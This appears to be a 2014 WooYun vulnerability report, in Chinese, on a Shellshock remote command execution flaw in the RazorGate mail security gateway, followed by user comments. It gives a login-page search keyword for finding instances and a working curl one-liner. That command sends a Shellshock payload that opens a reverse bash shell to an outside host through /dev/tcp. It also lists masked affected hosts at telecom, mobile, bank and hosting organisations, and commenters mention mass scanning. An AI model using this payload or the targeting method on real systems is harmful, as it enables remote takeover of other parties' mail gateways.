RazorGate邮件安全网关系统BASH远程命令执行漏洞（涉及银行、移动、电信、政府、IDC）

RazorGate邮件安全网关

关键词：

RazorGate – 登录

RazorGate - Login

用户量比较大啊

curl  -A "() { :; }; /bin/bash -i > /dev/tcp/**.**.**.**/2345 0<&1 2>&1" http://**.**.**.**/cgi-bin/mdadmin.cgi/sa/login.html -v

中国电信：http://**.**.**.**/

http://**.**.**.**/

中国移动http://**.**.**.**/

http://**.**.**.**/

富邦华一银行：

http://**.**.**.**/

还是移动：

http://**.**.**.**/

新网互联

http://**.**.**.**/

http://**.**.**.**/

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-09-29 13:53

厂商回复：

最新状态：

暂无

1. 2014-09-27 22:55 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

   0

   NB!

   1# 回复此人

2. 2014-09-27 23:05 | nextdoor ( 普通白帽子 | Rank:332 漏洞数:75 | Just for fun)

   0

   这是都在刷的节奏啊

   2# 回复此人

3. 2014-09-27 23:06 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student at THU.)

   0

   一大波实例来了~

   3# 回复此人

4. 2014-09-27 23:10 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

   0

   顶

   4# 回复此人

5. 2014-09-27 23:33 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

   0

   我猜都是同一人刷的

   5# 回复此人

6. 2014-09-28 08:33 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

   0

   第一页的5个某肯定是同一个人刷的

   6# 回复此人

7. 2014-09-28 10:03 | 天噬小然 ( 路人 | Rank:22 漏洞数:4 )

   0

   一大堆刷rank来了

   7# 回复此人

8. 2014-09-28 10:41 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)

   0

   用什么工具刷的

   8# 回复此人

9. 2014-09-28 11:23 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

   1

   不匿名会死啊

   9# 回复此人

10. 2014-09-28 13:51 | 疯狂 ( 普通白帽子 | Rank:239 漏洞数:30 | 桃李春风一杯酒 莲湖夜雨八年灯)

    1

    关键是怎么找的，靠，找了一上午，成功一个

    10# 回复此人

11. 2014-09-28 16:54 | wooOver ( 普通白帽子 | Rank:604 漏洞数:180 | 天下武功唯快不破)

    0

    @疯狂 扫了500个URL，发现了6-8个，哈哈

    11# 回复此人

12. 2014-10-11 11:52 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲，打脸pa pa pa)

    0

    感觉要出大事了。

    12# 回复此人